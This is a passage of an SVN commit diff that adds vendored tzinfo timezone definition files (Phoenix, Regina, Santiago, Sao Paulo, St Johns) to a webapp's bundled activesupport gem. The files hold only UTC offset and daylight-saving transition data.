+          tz.transition 2040, 3, :o2, 59189395, 24
+          tz.transition 2040, 11, :o1, 9865851, 4
+          tz.transition 2041, 3, :o2, 59198131, 24
+          tz.transition 2041, 11, :o1, 9867307, 4
+          tz.transition 2042, 3, :o2, 59206867, 24
+          tz.transition 2042, 11, :o1, 9868763, 4
+          tz.transition 2043, 3, :o2, 59215603, 24
+          tz.transition 2043, 11, :o1, 9870219, 4
+          tz.transition 2044, 3, :o2, 59224507, 24
+          tz.transition 2044, 11, :o1, 9871703, 4
+          tz.transition 2045, 3, :o2, 59233243, 24
+          tz.transition 2045, 11, :o1, 9873159, 4
+          tz.transition 2046, 3, :o2, 59241979, 24
+          tz.transition 2046, 11, :o1, 9874615, 4
+          tz.transition 2047, 3, :o2, 59250715, 24
+          tz.transition 2047, 11, :o1, 9876071, 4
+          tz.transition 2048, 3, :o2, 59259451, 24
+          tz.transition 2048, 11, :o1, 9877527, 4
+          tz.transition 2049, 3, :o2, 59268355, 24
+          tz.transition 2049, 11, :o1, 9879011, 4
+          tz.transition 2050, 3, :o2, 59277091, 24
+          tz.transition 2050, 11, :o1, 9880467, 4
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Phoenix.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Phoenix.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Phoenix.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Phoenix
+        include TimezoneDefinition
+        
+        timezone 'America/Phoenix' do |tz|
+          tz.offset :o0, -26898, 0, :LMT
+          tz.offset :o1, -25200, 0, :MST
+          tz.offset :o2, -25200, 3600, :MDT
+          tz.offset :o3, -25200, 3600, :MWT
+          
+          tz.transition 1883, 11, :o1, 57819199, 24
+          tz.transition 1918, 3, :o2, 19373471, 8
+          tz.transition 1918, 10, :o1, 14531363, 6
+          tz.transition 1919, 3, :o2, 19376383, 8
+          tz.transition 1919, 10, :o1, 14533547, 6
+          tz.transition 1942, 2, :o3, 19443199, 8
+          tz.transition 1944, 1, :o1, 3500770681, 1440
+          tz.transition 1944, 4, :o3, 3500901781, 1440
+          tz.transition 1944, 10, :o1, 3501165241, 1440
+          tz.transition 1967, 4, :o2, 19516887, 8
+          tz.transition 1967, 10, :o1, 14638757, 6
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Regina.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Regina.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Regina.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,74 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Regina
+        include TimezoneDefinition
+        
+        timezone 'America/Regina' do |tz|
+          tz.offset :o0, -25116, 0, :LMT
+          tz.offset :o1, -25200, 0, :MST
+          tz.offset :o2, -25200, 3600, :MDT
+          tz.offset :o3, -25200, 3600, :MWT
+          tz.offset :o4, -25200, 3600, :MPT
+          tz.offset :o5, -21600, 0, :CST
+          
+          tz.transition 1905, 9, :o1, 17403046493, 7200
+          tz.transition 1918, 4, :o2, 19373583, 8
+          tz.transition 1918, 10, :o1, 14531387, 6
+          tz.transition 1930, 5, :o2, 58226419, 24
+          tz.transition 1930, 10, :o1, 9705019, 4
+          tz.transition 1931, 5, :o2, 58235155, 24
+          tz.transition 1931, 10, :o1, 9706475, 4
+          tz.transition 1932, 5, :o2, 58243891, 24
+          tz.transition 1932, 10, :o1, 9707931, 4
+          tz.transition 1933, 5, :o2, 58252795, 24
+          tz.transition 1933, 10, :o1, 9709387, 4
+          tz.transition 1934, 5, :o2, 58261531, 24
+          tz.transition 1934, 10, :o1, 9710871, 4
+          tz.transition 1937, 4, :o2, 58287235, 24
+          tz.transition 1937, 10, :o1, 9715267, 4
+          tz.transition 1938, 4, :o2, 58295971, 24
+          tz.transition 1938, 10, :o1, 9716695, 4
+          tz.transition 1939, 4, :o2, 58304707, 24
+          tz.transition 1939, 10, :o1, 9718179, 4
+          tz.transition 1940, 4, :o2, 58313611, 24
+          tz.transition 1940, 10, :o1, 9719663, 4
+          tz.transition 1941, 4, :o2, 58322347, 24
+          tz.transition 1941, 10, :o1, 9721119, 4
+          tz.transition 1942, 2, :o3, 19443199, 8
+          tz.transition 1945, 8, :o4, 58360379, 24
+          tz.transition 1945, 9, :o1, 14590373, 6
+          tz.transition 1946, 4, :o2, 19455399, 8
+          tz.transition 1946, 10, :o1, 14592641, 6
+          tz.transition 1947, 4, :o2, 19458423, 8
+          tz.transition 1947, 9, :o1, 14594741, 6
+          tz.transition 1948, 4, :o2, 19461335, 8
+          tz.transition 1948, 9, :o1, 14596925, 6
+          tz.transition 1949, 4, :o2, 19464247, 8
+          tz.transition 1949, 9, :o1, 14599109, 6
+          tz.transition 1950, 4, :o2, 19467215, 8
+          tz.transition 1950, 9, :o1, 14601293, 6
+          tz.transition 1951, 4, :o2, 19470127, 8
+          tz.transition 1951, 9, :o1, 14603519, 6
+          tz.transition 1952, 4, :o2, 19473039, 8
+          tz.transition 1952, 9, :o1, 14605703, 6
+          tz.transition 1953, 4, :o2, 19475951, 8
+          tz.transition 1953, 9, :o1, 14607887, 6
+          tz.transition 1954, 4, :o2, 19478863, 8
+          tz.transition 1954, 9, :o1, 14610071, 6
+          tz.transition 1955, 4, :o2, 19481775, 8
+          tz.transition 1955, 9, :o1, 14612255, 6
+          tz.transition 1956, 4, :o2, 19484743, 8
+          tz.transition 1956, 9, :o1, 14614481, 6
+          tz.transition 1957, 4, :o2, 19487655, 8
+          tz.transition 1957, 9, :o1, 14616665, 6
+          tz.transition 1959, 4, :o2, 19493479, 8
+          tz.transition 1959, 10, :o1, 14621201, 6
+          tz.transition 1960, 4, :o5, 19496391, 8
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Santiago.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Santiago.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Santiago.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,205 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Santiago
+        include TimezoneDefinition
+        
+        timezone 'America/Santiago' do |tz|
+          tz.offset :o0, -16966, 0, :LMT
+          tz.offset :o1, -16966, 0, :SMT
+          tz.offset :o2, -18000, 0, :CLT
+          tz.offset :o3, -14400, 0, :CLT
+          tz.offset :o4, -18000, 3600, :CLST
+          tz.offset :o5, -14400, 3600, :CLST
+          
+          tz.transition 1890, 1, :o1, 104171127683, 43200
+          tz.transition 1910, 1, :o2, 104486660483, 43200
+          tz.transition 1916, 7, :o1, 58105097, 24
+          tz.transition 1918, 9, :o3, 104623388483, 43200
+          tz.transition 1919, 7, :o1, 7266422, 3
+          tz.transition 1927, 9, :o4, 104765386883, 43200
+          tz.transition 1928, 4, :o2, 7276013, 3
+          tz.transition 1928, 9, :o4, 58211777, 24
+          tz.transition 1929, 4, :o2, 7277108, 3
+          tz.transition 1929, 9, :o4, 58220537, 24
+          tz.transition 1930, 4, :o2, 7278203, 3
+          tz.transition 1930, 9, :o4, 58229297, 24
+          tz.transition 1931, 4, :o2, 7279298, 3
+          tz.transition 1931, 9, :o4, 58238057, 24
+          tz.transition 1932, 4, :o2, 7280396, 3
+          tz.transition 1932, 9, :o4, 58246841, 24
+          tz.transition 1942, 6, :o2, 7291535, 3
+          tz.transition 1942, 8, :o4, 58333745, 24
+          tz.transition 1946, 9, :o2, 19456517, 8
+          tz.transition 1947, 5, :o3, 58375865, 24
+          tz.transition 1968, 11, :o5, 7320491, 3
+          tz.transition 1969, 3, :o3, 19522485, 8
+          tz.transition 1969, 11, :o5, 7321646, 3
+          tz.transition 1970, 3, :o3, 7527600
+          tz.transition 1970, 10, :o5, 24465600
+          tz.transition 1971, 3, :o3, 37767600
+          tz.transition 1971, 10, :o5, 55915200
+          tz.transition 1972, 3, :o3, 69217200
+          tz.transition 1972, 10, :o5, 87969600
+          tz.transition 1973, 3, :o3, 100666800
+          tz.transition 1973, 9, :o5, 118209600
+          tz.transition 1974, 3, :o3, 132116400
+          tz.transition 1974, 10, :o5, 150868800
+          tz.transition 1975, 3, :o3, 163566000
+          tz.transition 1975, 10, :o5, 182318400
+          tz.transition 1976, 3, :o3, 195620400
+          tz.transition 1976, 10, :o5, 213768000
+          tz.transition 1977, 3, :o3, 227070000
+          tz.transition 1977, 10, :o5, 245217600
+          tz.transition 1978, 3, :o3, 258519600
+          tz.transition 1978, 10, :o5, 277272000
+          tz.transition 1979, 3, :o3, 289969200
+          tz.transition 1979, 10, :o5, 308721600
+          tz.transition 1980, 3, :o3, 321418800
+          tz.transition 1980, 10, :o5, 340171200
+          tz.transition 1981, 3, :o3, 353473200
+          tz.transition 1981, 10, :o5, 371620800
+          tz.transition 1982, 3, :o3, 384922800
+          tz.transition 1982, 10, :o5, 403070400
+          tz.transition 1983, 3, :o3, 416372400
+          tz.transition 1983, 10, :o5, 434520000
+          tz.transition 1984, 3, :o3, 447822000
+          tz.transition 1984, 10, :o5, 466574400
+          tz.transition 1985, 3, :o3, 479271600
+          tz.transition 1985, 10, :o5, 498024000
+          tz.transition 1986, 3, :o3, 510721200
+          tz.transition 1986, 10, :o5, 529473600
+          tz.transition 1987, 4, :o3, 545194800
+          tz.transition 1987, 10, :o5, 560923200
+          tz.transition 1988, 3, :o3, 574225200
+          tz.transition 1988, 10, :o5, 591768000
+          tz.transition 1989, 3, :o3, 605674800
+          tz.transition 1989, 10, :o5, 624427200
+          tz.transition 1990, 3, :o3, 637729200
+          tz.transition 1990, 9, :o5, 653457600
+          tz.transition 1991, 3, :o3, 668574000
+          tz.transition 1991, 10, :o5, 687326400
+          tz.transition 1992, 3, :o3, 700628400
+          tz.transition 1992, 10, :o5, 718776000
+          tz.transition 1993, 3, :o3, 732078000
+          tz.transition 1993, 10, :o5, 750225600
+          tz.transition 1994, 3, :o3, 763527600
+          tz.transition 1994, 10, :o5, 781675200
+          tz.transition 1995, 3, :o3, 794977200
+          tz.transition 1995, 10, :o5, 813729600
+          tz.transition 1996, 3, :o3, 826426800
+          tz.transition 1996, 10, :o5, 845179200
+          tz.transition 1997, 3, :o3, 859690800
+          tz.transition 1997, 10, :o5, 876628800
+          tz.transition 1998, 3, :o3, 889930800
+          tz.transition 1998, 9, :o5, 906868800
+          tz.transition 1999, 4, :o3, 923194800
+          tz.transition 1999, 10, :o5, 939528000
+          tz.transition 2000, 3, :o3, 952830000
+          tz.transition 2000, 10, :o5, 971582400
+          tz.transition 2001, 3, :o3, 984279600
+          tz.transition 2001, 10, :o5, 1003032000
+          tz.transition 2002, 3, :o3, 1015729200
+          tz.transition 2002, 10, :o5, 1034481600
+          tz.transition 2003, 3, :o3, 1047178800
+          tz.transition 2003, 10, :o5, 1065931200
+          tz.transition 2004, 3, :o3, 1079233200
+          tz.transition 2004, 10, :o5, 1097380800
+          tz.transition 2005, 3, :o3, 1110682800
+          tz.transition 2005, 10, :o5, 1128830400
+          tz.transition 2006, 3, :o3, 1142132400
+          tz.transition 2006, 10, :o5, 1160884800
+          tz.transition 2007, 3, :o3, 1173582000
+          tz.transition 2007, 10, :o5, 1192334400
+          tz.transition 2008, 3, :o3, 1206846000
+          tz.transition 2008, 10, :o5, 1223784000
+          tz.transition 2009, 3, :o3, 1237086000
+          tz.transition 2009, 10, :o5, 1255233600
+          tz.transition 2010, 3, :o3, 1268535600
+          tz.transition 2010, 10, :o5, 1286683200
+          tz.transition 2011, 3, :o3, 1299985200
+          tz.transition 2011, 10, :o5, 1318132800
+          tz.transition 2012, 3, :o3, 1331434800
+          tz.transition 2012, 10, :o5, 1350187200
+          tz.transition 2013, 3, :o3, 1362884400
+          tz.transition 2013, 10, :o5, 1381636800
+          tz.transition 2014, 3, :o3, 1394334000
+          tz.transition 2014, 10, :o5, 1413086400
+          tz.transition 2015, 3, :o3, 1426388400
+          tz.transition 2015, 10, :o5, 1444536000
+          tz.transition 2016, 3, :o3, 1457838000
+          tz.transition 2016, 10, :o5, 1475985600
+          tz.transition 2017, 3, :o3, 1489287600
+          tz.transition 2017, 10, :o5, 1508040000
+          tz.transition 2018, 3, :o3, 1520737200
+          tz.transition 2018, 10, :o5, 1539489600
+          tz.transition 2019, 3, :o3, 1552186800
+          tz.transition 2019, 10, :o5, 1570939200
+          tz.transition 2020, 3, :o3, 1584241200
+          tz.transition 2020, 10, :o5, 1602388800
+          tz.transition 2021, 3, :o3, 1615690800
+          tz.transition 2021, 10, :o5, 1633838400
+          tz.transition 2022, 3, :o3, 1647140400
+          tz.transition 2022, 10, :o5, 1665288000
+          tz.transition 2023, 3, :o3, 1678590000
+          tz.transition 2023, 10, :o5, 1697342400
+          tz.transition 2024, 3, :o3, 1710039600
+          tz.transition 2024, 10, :o5, 1728792000
+          tz.transition 2025, 3, :o3, 1741489200
+          tz.transition 2025, 10, :o5, 1760241600
+          tz.transition 2026, 3, :o3, 1773543600
+          tz.transition 2026, 10, :o5, 1791691200
+          tz.transition 2027, 3, :o3, 1804993200
+          tz.transition 2027, 10, :o5, 1823140800
+          tz.transition 2028, 3, :o3, 1836442800
+          tz.transition 2028, 10, :o5, 1855195200
+          tz.transition 2029, 3, :o3, 1867892400
+          tz.transition 2029, 10, :o5, 1886644800
+          tz.transition 2030, 3, :o3, 1899342000
+          tz.transition 2030, 10, :o5, 1918094400
+          tz.transition 2031, 3, :o3, 1930791600
+          tz.transition 2031, 10, :o5, 1949544000
+          tz.transition 2032, 3, :o3, 1962846000
+          tz.transition 2032, 10, :o5, 1980993600
+          tz.transition 2033, 3, :o3, 1994295600
+          tz.transition 2033, 10, :o5, 2012443200
+          tz.transition 2034, 3, :o3, 2025745200
+          tz.transition 2034, 10, :o5, 2044497600
+          tz.transition 2035, 3, :o3, 2057194800
+          tz.transition 2035, 10, :o5, 2075947200
+          tz.transition 2036, 3, :o3, 2088644400
+          tz.transition 2036, 10, :o5, 2107396800
+          tz.transition 2037, 3, :o3, 2120698800
+          tz.transition 2037, 10, :o5, 2138846400
+          tz.transition 2038, 3, :o3, 19723973, 8
+          tz.transition 2038, 10, :o5, 7397120, 3
+          tz.transition 2039, 3, :o3, 19726885, 8
+          tz.transition 2039, 10, :o5, 7398212, 3
+          tz.transition 2040, 3, :o3, 19729797, 8
+          tz.transition 2040, 10, :o5, 7399325, 3
+          tz.transition 2041, 3, :o3, 19732709, 8
+          tz.transition 2041, 10, :o5, 7400417, 3
+          tz.transition 2042, 3, :o3, 19735621, 8
+          tz.transition 2042, 10, :o5, 7401509, 3
+          tz.transition 2043, 3, :o3, 19738589, 8
+          tz.transition 2043, 10, :o5, 7402601, 3
+          tz.transition 2044, 3, :o3, 19741501, 8
+          tz.transition 2044, 10, :o5, 7403693, 3
+          tz.transition 2045, 3, :o3, 19744413, 8
+          tz.transition 2045, 10, :o5, 7404806, 3
+          tz.transition 2046, 3, :o3, 19747325, 8
+          tz.transition 2046, 10, :o5, 7405898, 3
+          tz.transition 2047, 3, :o3, 19750237, 8
+          tz.transition 2047, 10, :o5, 7406990, 3
+          tz.transition 2048, 3, :o3, 19753205, 8
+          tz.transition 2048, 10, :o5, 7408082, 3
+          tz.transition 2049, 3, :o3, 19756117, 8
+          tz.transition 2049, 10, :o5, 7409174, 3
+          tz.transition 2050, 3, :o3, 19759029, 8
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Sao_Paulo.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Sao_Paulo.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Sao_Paulo.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,171 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Sao_Paulo
+        include TimezoneDefinition
+        
+        timezone 'America/Sao_Paulo' do |tz|
+          tz.offset :o0, -11188, 0, :LMT
+          tz.offset :o1, -10800, 0, :BRT
+          tz.offset :o2, -10800, 3600, :BRST
+          
+          tz.transition 1914, 1, :o1, 52274886397, 21600
+          tz.transition 1931, 10, :o2, 29119417, 12
+          tz.transition 1932, 4, :o1, 29121583, 12
+          tz.transition 1932, 10, :o2, 19415869, 8
+          tz.transition 1933, 4, :o1, 29125963, 12
+          tz.transition 1949, 12, :o2, 19466013, 8
+          tz.transition 1950, 4, :o1, 19467101, 8
+          tz.transition 1950, 12, :o2, 19468933, 8
+          tz.transition 1951, 4, :o1, 29204851, 12
+          tz.transition 1951, 12, :o2, 19471853, 8
+          tz.transition 1952, 4, :o1, 29209243, 12
+          tz.transition 1952, 12, :o2, 19474781, 8
+          tz.transition 1953, 3, :o1, 29213251, 12
+          tz.transition 1963, 10, :o2, 19506605, 8
+          tz.transition 1964, 3, :o1, 29261467, 12
+          tz.transition 1965, 1, :o2, 19510333, 8
+          tz.transition 1965, 3, :o1, 29266207, 12
+          tz.transition 1965, 12, :o2, 19512765, 8
+          tz.transition 1966, 3, :o1, 29270227, 12
+          tz.transition 1966, 11, :o2, 19515445, 8
+          tz.transition 1967, 3, :o1, 29274607, 12
+          tz.transition 1967, 11, :o2, 19518365, 8
+          tz.transition 1968, 3, :o1, 29278999, 12
+          tz.transition 1985, 11, :o2, 499748400
+          tz.transition 1986, 3, :o1, 511236000
+          tz.transition 1986, 10, :o2, 530593200
+          tz.transition 1987, 2, :o1, 540266400
+          tz.transition 1987, 10, :o2, 562129200
+          tz.transition 1988, 2, :o1, 571197600
+          tz.transition 1988, 10, :o2, 592974000
+          tz.transition 1989, 1, :o1, 602042400
+          tz.transition 1989, 10, :o2, 624423600
+          tz.transition 1990, 2, :o1, 634701600
+          tz.transition 1990, 10, :o2, 656478000
+          tz.transition 1991, 2, :o1, 666756000
+          tz.transition 1991, 10, :o2, 687927600
+          tz.transition 1992, 2, :o1, 697600800
+          tz.transition 1992, 10, :o2, 719982000
+          tz.transition 1993, 1, :o1, 728445600
+          tz.transition 1993, 10, :o2, 750826800
+          tz.transition 1994, 2, :o1, 761709600
+          tz.transition 1994, 10, :o2, 782276400
+          tz.transition 1995, 2, :o1, 793159200
+          tz.transition 1995, 10, :o2, 813726000
+          tz.transition 1996, 2, :o1, 824004000
+          tz.transition 1996, 10, :o2, 844570800
+          tz.transition 1997, 2, :o1, 856058400
+          tz.transition 1997, 10, :o2, 876106800
+          tz.transition 1998, 3, :o1, 888717600
+          tz.transition 1998, 10, :o2, 908074800
+          tz.transition 1999, 2, :o1, 919562400
+          tz.transition 1999, 10, :o2, 938919600
+          tz.transition 2000, 2, :o1, 951616800
+          tz.transition 2000, 10, :o2, 970974000
+          tz.transition 2001, 2, :o1, 982461600
+          tz.transition 2001, 10, :o2, 1003028400
+          tz.transition 2002, 2, :o1, 1013911200
+          tz.transition 2002, 11, :o2, 1036292400
+          tz.transition 2003, 2, :o1, 1045360800
+          tz.transition 2003, 10, :o2, 1066532400
+          tz.transition 2004, 2, :o1, 1076810400
+          tz.transition 2004, 11, :o2, 1099364400
+          tz.transition 2005, 2, :o1, 1108864800
+          tz.transition 2005, 10, :o2, 1129431600
+          tz.transition 2006, 2, :o1, 1140314400
+          tz.transition 2006, 11, :o2, 1162695600
+          tz.transition 2007, 2, :o1, 1172368800
+          tz.transition 2007, 10, :o2, 1192330800
+          tz.transition 2008, 2, :o1, 1203213600
+          tz.transition 2008, 10, :o2, 1224385200
+          tz.transition 2009, 2, :o1, 1234663200
+          tz.transition 2009, 10, :o2, 1255834800
+          tz.transition 2010, 2, :o1, 1266717600
+          tz.transition 2010, 10, :o2, 1287284400
+          tz.transition 2011, 2, :o1, 1298167200
+          tz.transition 2011, 10, :o2, 1318734000
+          tz.transition 2012, 2, :o1, 1330221600
+          tz.transition 2012, 10, :o2, 1350788400
+          tz.transition 2013, 2, :o1, 1361066400
+          tz.transition 2013, 10, :o2, 1382238000
+          tz.transition 2014, 2, :o1, 1392516000
+          tz.transition 2014, 10, :o2, 1413687600
+          tz.transition 2015, 2, :o1, 1424570400
+          tz.transition 2015, 10, :o2, 1445137200
+          tz.transition 2016, 2, :o1, 1456020000
+          tz.transition 2016, 10, :o2, 1476586800
+          tz.transition 2017, 2, :o1, 1487469600
+          tz.transition 2017, 10, :o2, 1508036400
+          tz.transition 2018, 2, :o1, 1518919200
+          tz.transition 2018, 10, :o2, 1540090800
+          tz.transition 2019, 2, :o1, 1550368800
+          tz.transition 2019, 10, :o2, 1571540400
+          tz.transition 2020, 2, :o1, 1581818400
+          tz.transition 2020, 10, :o2, 1602990000
+          tz.transition 2021, 2, :o1, 1613872800
+          tz.transition 2021, 10, :o2, 1634439600
+          tz.transition 2022, 2, :o1, 1645322400
+          tz.transition 2022, 10, :o2, 1665889200
+          tz.transition 2023, 2, :o1, 1677376800
+          tz.transition 2023, 10, :o2, 1697338800
+          tz.transition 2024, 2, :o1, 1708221600
+          tz.transition 2024, 10, :o2, 1729393200
+          tz.transition 2025, 2, :o1, 1739671200
+          tz.transition 2025, 10, :o2, 1760842800
+          tz.transition 2026, 2, :o1, 1771725600
+          tz.transition 2026, 10, :o2, 1792292400
+          tz.transition 2027, 2, :o1, 1803175200
+          tz.transition 2027, 10, :o2, 1823742000
+          tz.transition 2028, 2, :o1, 1834624800
+          tz.transition 2028, 10, :o2, 1855191600
+          tz.transition 2029, 2, :o1, 1866074400
+          tz.transition 2029, 10, :o2, 1887246000
+          tz.transition 2030, 2, :o1, 1897524000
+          tz.transition 2030, 10, :o2, 1918695600
+          tz.transition 2031, 2, :o1, 1928973600
+          tz.transition 2031, 10, :o2, 1950145200
+          tz.transition 2032, 2, :o1, 1960423200
+          tz.transition 2032, 10, :o2, 1981594800
+          tz.transition 2033, 2, :o1, 1992477600
+          tz.transition 2033, 10, :o2, 2013044400
+          tz.transition 2034, 2, :o1, 2024532000
+          tz.transition 2034, 10, :o2, 2044494000
+          tz.transition 2035, 2, :o1, 2055376800
+          tz.transition 2035, 10, :o2, 2076548400
+          tz.transition 2036, 2, :o1, 2086826400
+          tz.transition 2036, 10, :o2, 2107998000
+          tz.transition 2037, 2, :o1, 2118880800
+          tz.transition 2037, 10, :o2, 2139447600
+          tz.transition 2038, 2, :o1, 29585707, 12
+          tz.transition 2038, 10, :o2, 19725709, 8
+          tz.transition 2039, 2, :o1, 29590075, 12
+          tz.transition 2039, 10, :o2, 19728621, 8
+          tz.transition 2040, 2, :o1, 29594443, 12
+          tz.transition 2040, 10, :o2, 19731589, 8
+          tz.transition 2041, 2, :o1, 29598811, 12
+          tz.transition 2041, 10, :o2, 19734501, 8
+          tz.transition 2042, 2, :o1, 29603179, 12
+          tz.transition 2042, 10, :o2, 19737413, 8
+          tz.transition 2043, 2, :o1, 29607547, 12
+          tz.transition 2043, 10, :o2, 19740325, 8
+          tz.transition 2044, 2, :o1, 29611999, 12
+          tz.transition 2044, 10, :o2, 19743237, 8
+          tz.transition 2045, 2, :o1, 29616367, 12
+          tz.transition 2045, 10, :o2, 19746149, 8
+          tz.transition 2046, 2, :o1, 29620735, 12
+          tz.transition 2046, 10, :o2, 19749117, 8
+          tz.transition 2047, 2, :o1, 29625103, 12
+          tz.transition 2047, 10, :o2, 19752029, 8
+          tz.transition 2048, 2, :o1, 29629471, 12
+          tz.transition 2048, 10, :o2, 19754941, 8
+          tz.transition 2049, 2, :o1, 29633923, 12
+          tz.transition 2049, 10, :o2, 19757853, 8
+          tz.transition 2050, 2, :o1, 29638291, 12
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/St_Johns.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/St_Johns.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/St_Johns.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,288 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module St_Johns
+        include TimezoneDefinition
+        
+        timezone 'America/St_Johns' do |tz|
+          tz.offset :o0, -12652, 0, :LMT
+          tz.offset :o1, -12652, 0, :NST
+          tz.offset :o2, -12652, 3600, :NDT
+          tz.offset :o3, -12600, 0, :NST
+          tz.offset :o4, -12600, 3600, :NDT
+          tz.offset :o5, -12600, 3600, :NWT
+          tz.offset :o6, -12600, 3600, :NPT
+          tz.offset :o7, -12600, 7200, :NDDT
+          
+          tz.transition 1884, 1, :o1, 52038215563, 21600
+          tz.transition 1917, 4, :o2, 52300657363, 21600
+          tz.transition 1917, 9, :o1, 52304155663, 21600
+          tz.transition 1918, 4, :o2, 52308670963, 21600
+          tz.transition 1918, 10, :o1, 52312990063, 21600
+          tz.transition 1919, 5, :o2, 52317027463, 21600
+          tz.transition 1919, 8, :o1, 52319164963, 21600
+          tz.transition 1920, 5, :o2, 52324868263, 21600
+          tz.transition 1920, 11, :o1, 52328798563, 21600
+          tz.transition 1921, 5, :o2, 52332730663, 21600
+          tz.transition 1921, 10, :o1, 52336660963, 21600
+          tz.transition 1922, 5, :o2, 52340744263, 21600
+          tz.transition 1922, 10, :o1, 52344523363, 21600
+          tz.transition 1923, 5, :o2, 52348606663, 21600
+          tz.transition 1923, 10, :o1, 52352385763, 21600
+          tz.transition 1924, 5, :o2, 52356469063, 21600
+          tz.transition 1924, 10, :o1, 52360248163, 21600
+          tz.transition 1925, 5, :o2, 52364331463, 21600
+          tz.transition 1925, 10, :o1, 52368110563, 21600
+          tz.transition 1926, 5, :o2, 52372193863, 21600
+          tz.transition 1926, 11, :o1, 52376124163, 21600
+          tz.transition 1927, 5, :o2, 52380056263, 21600
+          tz.transition 1927, 10, :o1, 52383986563, 21600
+          tz.transition 1928, 5, :o2, 52388069863, 21600
+          tz.transition 1928, 10, :o1, 52391848963, 21600
+          tz.transition 1929, 5, :o2, 52395932263, 21600
+          tz.transition 1929, 10, :o1, 52399711363, 21600
+          tz.transition 1930, 5, :o2, 52403794663, 21600
+          tz.transition 1930, 10, :o1, 52407573763, 21600
+          tz.transition 1931, 5, :o2, 52411657063, 21600
+          tz.transition 1931, 10, :o1, 52415436163, 21600
+          tz.transition 1932, 5, :o2, 52419519463, 21600
+          tz.transition 1932, 10, :o1, 52423449763, 21600
+          tz.transition 1933, 5, :o2, 52427533063, 21600
+          tz.transition 1933, 10, :o1, 52431312163, 21600
+          tz.transition 1934, 5, :o2, 52435395463, 21600
+          tz.transition 1934, 10, :o1, 52439174563, 21600
+          tz.transition 1935, 3, :o3, 52442459563, 21600
+          tz.transition 1935, 5, :o4, 116540573, 48
+          tz.transition 1935, 10, :o3, 38849657, 16
+          tz.transition 1936, 5, :o4, 116558383, 48
+          tz.transition 1936, 10, :o3, 116565437, 48
+          tz.transition 1937, 5, :o4, 116575855, 48
+          tz.transition 1937, 10, :o3, 116582909, 48
+          tz.transition 1938, 5, :o4, 116593327, 48
+          tz.transition 1938, 10, :o3, 116600381, 48
+          tz.transition 1939, 5, :o4, 116611135, 48
+          tz.transition 1939, 10, :o3, 116617853, 48
+          tz.transition 1940, 5, :o4, 116628607, 48
+          tz.transition 1940, 10, :o3, 116635661, 48
+          tz.transition 1941, 5, :o4, 116646079, 48
+          tz.transition 1941, 10, :o3, 116653133, 48
+          tz.transition 1942, 5, :o5, 116663551, 48
+          tz.transition 1945, 8, :o6, 58360379, 24
+          tz.transition 1945, 9, :o3, 38907659, 16
+          tz.transition 1946, 5, :o4, 116733731, 48
+          tz.transition 1946, 10, :o3, 38913595, 16
+          tz.transition 1947, 5, :o4, 116751203, 48
+          tz.transition 1947, 10, :o3, 38919419, 16
+          tz.transition 1948, 5, :o4, 116768675, 48
+          tz.transition 1948, 10, :o3, 38925243, 16
+          tz.transition 1949, 5, :o4, 116786147, 48
+          tz.transition 1949, 10, :o3, 38931067, 16
+          tz.transition 1950, 5, :o4, 116803955, 48
+          tz.transition 1950, 10, :o3, 38937003, 16
+          tz.transition 1951, 4, :o4, 116820755, 48
